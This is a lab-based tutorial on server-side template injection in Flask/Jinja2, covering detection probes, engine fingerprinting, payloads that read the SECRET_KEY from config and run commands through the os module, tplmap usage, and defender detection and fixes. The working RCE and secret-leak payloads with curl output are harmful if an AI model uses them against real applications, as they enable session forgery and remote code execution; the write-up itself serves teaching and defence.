0
Hands-on Labs INTERMEDIATE 13 min read Updated

Server-Side Template Injection to RCE in a Lab

A hands-on server-side template injection walkthrough: detect it with a quick probe, fingerprint the engine, climb the Jinja2 object model to config, reach command execution, and shut it down.

founder & security researcher · 39 writeups
Server-Side Template Injection to RCE in a Lab

Server-side template injection is what happens when an application takes your input and feeds it to a template engine that runs on the server, so the engine treats your text as template code instead of plain data. That one mistake can turn a friendly greeting form into a path to reading server secrets and, in many engines, running commands. This walkthrough builds the bug up from first principles on a lab you own, shows how to tell one engine from another, climbs the Jinja2 object model to reach configuration and then command execution, confirms the finding with tplmap, and closes on the defender side.

Read it top to bottom once to build the model, then keep it open as a checklist. Every probe and payload here runs against a deliberately vulnerable lab, lab.0xpriv.dev, and nothing else.

Scope

Everything below is for an application you own or are explicitly authorized to test, or a training lab such as lab.0xpriv.dev. Template injection can read secrets and run code, so testing a system without written permission is a crime. Stay in the lab.

01What server-side template injection is and how it differs from XSS

Server-side template injection differs from cross-site scripting in the one place that decides everything: where your input runs. A template engine stitches dynamic values into a page using a small language of its own, things like {{ user.name }} or ${product.price}. When an application builds that template string out of user input instead of passing the input in as a value, the engine parses your text as its own code and evaluates it on the server.

Cross-site scripting also comes from unescaped input, but it runs in the victim's browser as JavaScript. The blast radius is the user's session. Template injection runs inside the web process on the server, with that process's file access, environment variables, and network reach. The payload language is the template engine's expression syntax, not HTML or JavaScript, and a successful hit often leads to reading internal files, dumping application config, and executing operating-system commands.

The tell is simple. If sending {{7*7}} comes back as 49, the server did the multiplication, which means it parsed your braces as an expression. A browser never does that. That single rendered number is the whole bug in miniature.

Where this bug hides

Look wherever an app composes text from your input on the server: email and notification templates, custom report or invoice generators, dashboard name fields, "wiki" or markdown previews, and any feature that lets a user supply a format string. Marketing and admin panels are repeat offenders.

02How a template engine ends up running your input

A template engine runs your input whenever the template itself is concatenated from user data rather than kept as a fixed, trusted string. The safe pattern renders a constant template and passes your value in as a parameter, so the engine only ever substitutes it. The unsafe pattern glues your value straight into the template source, so the engine compiles and evaluates it.

python
# safe: the template is fixed, name is passed in as data
render_template_string("Hello {{ name }}", name=request.args["name"])

# vulnerable: user input becomes part of the template source
render_template_string("Hello " + request.args["name"])

In the second line, if name is {{7*7}}, the engine compiles the string Hello {{7*7}} and renders Hello 49. Your data crossed the line into code. The diagram below shows the fork: trusted template plus data stays data, while input welded into the template source gets compiled.

why input becomes code
User input{{7*7}} as data Fixed templaterenders literally concatenated Template sourcecompiled + evaluated Server runs it49, files, commands

03Detecting server-side template injection

Detecting server-side template injection starts with a probe that is noisy on purpose, then a clean confirmation. Throw a short polyglot that mixes the delimiters of several engines at every parameter that echoes back. If any of those special characters trips a template error or renders oddly, that parameter is worth a closer look.

text
# a shotgun polyglot: mixes ${...}, {{...}}, <%...%> and [%...%] delimiters
${{<%[%{{

# clean confirmation: if this echoes 49, the server evaluated it
{{7*7}}

# for engines that use ${...} rather than {{...}}
${7*7}

The polyglot is there to break something and surface a stack trace or an unexpected change. Once a parameter reacts, switch to the math test. The reason math works as a confirmation is that a reflected value only prints the literal text you sent, while an evaluated expression prints the result. Forty-nine cannot appear by accident.

a reflected value versus an evaluated one
$ curl -s "http://lab.0xpriv.dev/greet?name=7times7" | grep Hello
Hello 7times7
$ curl -s "http://lab.0xpriv.dev/greet?name=%7B%7B7*7%7D%7D" | grep Hello
Hello 49

The second request sent {{7*7}} url-encoded and got 49 back. The parameter is injectable. Note that a plain XSS probe like <b>x</b> would only tell you the output is unescaped, not that it is evaluated, which is exactly why the math test matters.

04Identifying the template engine from the response

Identifying the template engine is the step that decides which payloads will work, because every engine exposes a different object model. Several engines all render {{7*7}} as 49, so you need follow-up probes whose results differ by engine. The classic decision point is a string multiplied by a number: Jinja2 repeats the string, while Twig does arithmetic.

ProbeResultEngine
{{7*7}}49Jinja2, Twig, or other brace engine
{{7*'7'}}7777777Jinja2 (Python string repeat)
{{7*'7'}}49Twig (numeric coercion)
${7*7}49Freemarker (${...} syntax)
#set($x=7*7)$x49Velocity (#set directive)

So {{7*'7'}} returning 7777777 points at Jinja2, the template engine behind Flask, because Python repeats a string when you multiply it by an integer. If braces do nothing but ${7*7} renders 49, you are most likely on Freemarker (Java). A working #set directive points at Velocity. Knowing the engine tells you which object model to walk next, which is the difference between guessing and a direct path.

fingerprinting Jinja2 against Twig
$ curl -s "http://lab.0xpriv.dev/greet?name=%7B%7B7*'7'%7D%7D" | grep Hello
Hello 7777777

05From math to objects: reading config in a Jinja2 lab

Reading config is the next rung above expression math, and on Jinja2 it is the fastest proof of impact. Once you confirm Jinja2, you are no longer limited to arithmetic. The template context exposes real Python objects, and in a Flask app the config object sits right there, holding things an attacker should never see.

python
# 0xpriv.dev/labs  -- Jinja2 context objects in a Flask app
{{ config }}                 # dumps the whole config mapping
{{ config['SECRET_KEY'] }}   # the signing key that forges sessions
{{ config.items() }}         # every key and value, readable in one shot

The SECRET_KEY alone is a serious finding: it signs Flask session cookies, so leaking it lets an attacker forge an authenticated session for any user. That is already high impact without touching the shell. The response below shows the key coming straight back in the greeting.

pulling the Flask signing key out of config
$ curl -s "http://lab.0xpriv.dev/greet?name=%7B%7B+config%5B'SECRET_KEY'%5D+%7D%7D"
Hello dev-s3cr3t-key-lab-only

From any object in the context you can reach the rest of the Python runtime by walking its attributes. The chain below steps from a plain string up to the base object and then out to the list of loaded classes, which is where the path to the operating system opens up.

python
# climbing the object model one attribute at a time, read each result
{{ ''.__class__ }}                 # <class 'str'>
{{ ''.__class__.__mro__ }}         # the inheritance chain up to object
{{ ''.__class__.__mro__[1] }}      # <class 'object'>
{{ ''.__class__.__mro__[1].__subclasses__() }}   # every loaded class

Each line is a read. Nothing here runs a command yet. You are mapping the runtime so the next step has a known target, and doing it one attribute at a time means you can see exactly where the chain leads before you act on it.

06Reaching command execution through the object model

Reaching command execution means finding an object in that runtime that exposes a way to call the operating system, then invoking it. In a Flask app the shortest honest path does not even need the subclass list: the config object you already have carries the application's globals, and those globals usually include the os module.

python
# 0xpriv.dev/labs  -- illustrative lab snippet, runs a harmless 'id'
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Read that right to left. config.__class__.__init__.__globals__ is the namespace the config class was defined in, ['os'] grabs the imported os module, and popen('id').read() runs id and reads its output back into the page. On the lab it returns the web process identity, which is all the proof a report needs.

command output returned in the rendered page
$ curl -s "http://lab.0xpriv.dev/greet?name=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}")"
Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)
Keep it to a proof

On an authorized test, a single benign command such as id or hostname proves code execution without touching data. Stop there, screenshot it, and write it up. There is no need to drop a shell on a lab to demonstrate the finding, and reaching for a reverse shell or a payload that persists turns a clean proof into real damage.

Other engines reach the same place through their own object models. Freemarker exposes a built-in helper, freemarker.template.utility.Execute, that runs a command when you instantiate it. Velocity reaches Java reflection through $class.inspect on a Runtime object. The idea is identical in each case: the engine hands you live objects from the host language, and one of them can call the system. That is why fingerprinting the engine first is the move that saves the most time.

07A worked walkthrough on lab.0xpriv.dev

A worked walkthrough ties the pieces together in the order you would actually run them against the lab. The target is a greeting endpoint, http://lab.0xpriv.dev/greet?name=..., that reflects the name value into the page. Here is the full path from first probe to proof, written as steps.

Map the reflection

Send a harmless unique string and confirm name comes back in the response body. A parameter that echoes is the candidate.

Probe for evaluation

Send {{7*7}} url-encoded. The page returns Hello 49, so the engine evaluated it. This is template injection, not reflection.

Fingerprint the engine

Send {{7*'7'}}. It returns 7777777, the Python string-repeat behaviour, which identifies Jinja2 on Flask.

Prove impact with config

Read {{ config['SECRET_KEY'] }}. The signing key leaks, which already means session forgery. Record it as a high-severity finding.

Demonstrate code execution

Run a single id through the config globals. The web process identity comes back in the page, confirming remote command execution, then stop.

Five requests take you from "this field looks interesting" to a documented, reproducible path to command execution, with the exact payloads and responses captured for the report. That reproducibility is what separates a finding from a hunch.

08Confirming the finding with tplmap

Confirming the finding with tplmap is the automated cross-check you run after the manual work, not instead of it. tplmap is a template-injection scanner that detects the bug, fingerprints the engine, and verifies command execution using the same object-model tricks you walked by hand, which makes it a fast second opinion for a report.

bash
# point it at the injectable parameter to detect and fingerprint
python tplmap.py -u "http://lab.0xpriv.dev/greet?name=John"

# confirm command execution with a single benign command
python tplmap.py -u "http://lab.0xpriv.dev/greet?name=John" --os-cmd "id"
tplmap agreeing with the manual finding
$ python tplmap.py -u "http://lab.0xpriv.dev/greet?name=John"
[+] Tplmap identified the following injection point:
    Engine: Jinja2
    Injection: {{*}}
    Context: text
    OS: linux
[+] Rendering: code

When tplmap and your manual probes agree on the engine and on code execution, you have a finding you can defend. When they disagree, trust the manual result and work out why the tool guessed wrong, because scanners stumble on odd delimiters, filters, and sandboxes that a human reads around. Treat the tool as confirmation, never as the whole test.

09Detecting SSTI from the defender's seat

Detecting template injection as a defender comes down to watching for the engine complaining and for its object model leaking into responses. The loudest signal is template errors in the application logs: a surge of parse or compile exceptions naming the template engine, such as Jinja2's TemplateSyntaxError or Freemarker parse errors, almost always means someone is throwing delimiters at a parameter.

The second signal is unusual output. Watch for responses that contain class names, module paths, object repr strings like <class 'object'>, or config keys where a short user string belongs. Those are the object-model walk showing up in the body. A web application firewall helps as a tripwire here, since the raw probes contain tells like {{, __class__, __subclasses__, and popen, but treat a WAF as detection and friction, not a fix. Attackers bypass filters with string concatenation, attribute lookups by index, and alternate delimiters, so alert on the behaviour and the error spikes rather than trusting a signature to hold.

10Shutting SSTI down for good

Shutting template injection down for good means never letting user input become part of a template's source in the first place. The root cause is the same every time, so the primary fix is one rule, and the rest is defence in depth around it.

python
# the fix: template is constant, user value is passed as data
render_template_string("Hello {{ name }}", name=request.args["name"])

# never build the template out of input
# render_template_string("Hello " + request.args["name"])  # vulnerable
How to shut it down
Keep user input out of templates. Pass values in as named parameters to a fixed template. Input must stay data and never become template source, which closes the bug at its root.
Use a sandboxed engine when users genuinely must supply templates. Jinja2's SandboxedEnvironment and similar modes block attribute access to dunder methods and the object model, though a sandbox is a reduction in risk, not a guarantee.
Prefer logic-less templates such as Mustache for anything user-facing. An engine with no expression evaluation has nothing to inject into.
Apply context-aware escaping. Autoescaping stops the HTML-injection side effects, and escaping output in the right context keeps a near miss from turning into stored XSS on top of the template bug.
Validate and constrain input. Allowlist the characters a field actually needs and run the app as a least-privilege user, so a missed case has less to grab and a smaller shell to drop into.

11FAQ

Is server-side template injection the same as cross-site scripting?FAQ

No. Both come from unescaped input, but XSS runs as JavaScript in the victim's browser, while template injection runs as template-engine code on the server. SSTI typically leads to reading server files, dumping application config, and command execution, so it is usually the more severe of the two.

Why does sending {{7*7}} confirm the bug?FAQ

A reflected value only ever prints the literal text you sent, so you would see {{7*7}} back. If the response contains 49 instead, the server parsed your braces as an expression and evaluated the multiplication, which only a template engine does. That result cannot happen by accident.

How do I tell Jinja2 and Twig apart when both render 49?FAQ

Send {{7*'7'}}. Jinja2 runs on Python, which repeats a string when it is multiplied by an integer, so you get 7777777. Twig coerces the string to a number and returns 49. The difference in that one probe tells you which object model to use next.

Does a web application firewall stop template injection?FAQ

It raises the cost and is useful for detection, but it does not fix the bug. Attackers get past signatures with string concatenation, index-based attribute lookups, and alternate delimiters. The only reliable fix is to keep user input out of template source and, where templates must be user-supplied, run a sandboxed or logic-less engine.

Why stop at running id instead of getting a shell?FAQ

On an authorized assessment a single benign command like id or hostname proves remote code execution with zero impact on data or availability. That proof is what the report needs. Dropping a reverse shell or anything that persists adds risk and damage without adding evidence, so a clean proof-of-concept is both safer and more professional.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear